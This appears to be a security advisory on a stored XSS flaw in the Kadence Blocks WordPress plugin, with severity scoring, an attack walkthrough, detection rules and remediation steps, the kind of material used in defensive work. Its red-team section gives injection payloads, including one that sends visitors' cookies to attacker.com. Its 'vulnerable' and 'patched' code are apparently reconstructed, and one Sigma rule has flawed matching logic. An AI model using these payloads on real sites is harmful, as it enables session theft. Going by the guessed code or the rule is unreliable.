CVE-2024-1999

Executive Summary

CVE-2024-1999 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks by Kadence Blocks – Page Builder Features plugin for WordPress, affecting all versions up to and including 3.2.25. The flaw resides in the Testimonial Widget's anchor style parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.4) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Kadence Blocks plugin. No supply chain compromise (e.g., malicious package injection) has been identified. Users should verify plugin integrity via checksums or official sources.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (victim visits page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The vulnerability exists in the Testimonial Widget, which allows users to customize anchor styles. The anchor parameter is not properly sanitized or escaped before being rendered in the page HTML. An attacker with contributor-level access can inject malicious JavaScript into this parameter. When the page is viewed by any user (including administrators), the script executes in the context of the victim's browser.

Root Cause: The plugin uses echo $anchor; or similar without applying esc_attr() or wp_kses_post() to the anchor value. This allows HTML/JavaScript injection.

Attack Flow:

1. Attacker logs in as a contributor.
2. Creates or edits a page with the Kadence Testimonial block.
3. Sets the anchor style parameter to: "><script>alert('XSS')</script>
4. Saves the page.
5. Any visitor (including admins) triggers the script when loading the page.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.25):

// In testimonial block render function
$anchor = $attributes['anchor'] ?? '';
echo '<div id="' . $anchor . '" class="kt-testimonial">';

Patched Code (Hypothetical):

$anchor = $attributes['anchor'] ?? '';
$anchor = esc_attr($anchor);
echo '<div id="' . $anchor . '" class="kt-testimonial">';

The patch applies esc_attr() to escape the anchor value, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Kadence Blocks <= 3.2.25
• Contributor-level account

Steps:

1. Log in as contributor.
2. Navigate to Pages > Add New.
3. Add a Kadence Testimonial block.
4. In the block settings, find the "Anchor" field under Advanced.
5. Inject payload: "><img src=x onerror=alert(document.cookie)>
6. Publish the page.
7. Share the link with a victim.

Payload Example:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for pages containing suspicious anchor values (e.g., <script, onerror, onload).
• Use WAF rules to block XSS patterns in POST data.

Hardening:

• Restrict contributor roles from using custom HTML in blocks.
• Apply a virtual patch via WAF: block requests with anchor parameter containing < or >.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/kadence-blocks/dist/blocks/testimonial/block.json (check for modified anchor handling)
• Database: wp_posts.post_content containing <script or onerror in anchor attributes
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages
• Logs: wp-content/debug.log entries showing XSS attempts

Detection Engineering

YARA Rule

rule CVE_2024_1999_Kadence_XSS {
    meta:
        description = "Detects stored XSS payloads in Kadence Blocks anchor parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1999"
    strings:
        $anchor = /id="[^"]*<script/i
        $anchor2 = /id="[^"]*onerror/i
        $anchor3 = /id="[^"]*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1999 Kadence Blocks Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS via anchor parameter in Kadence Blocks
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-json/wp/v2/pages"
        http.body|contains: "anchor"
        http.body|contains|all:
            - "<script"
            - "onerror"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in blocks (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1999 Kadence Blocks Stored XSS Attempt"; flow:to_server; content:"anchor"; http_client_body; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Kadence Blocks plugin until a patch is available.
2. Restrict contributor-level users from editing pages with custom HTML.
3. Apply a WAF rule to block XSS patterns in the anchor parameter.

Long-term Fix:

• Update to a patched version (once released) that properly escapes the anchor parameter.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Use a security plugin like Wordfence to block malicious input.
• Manually audit all pages for injected scripts.

Valters IT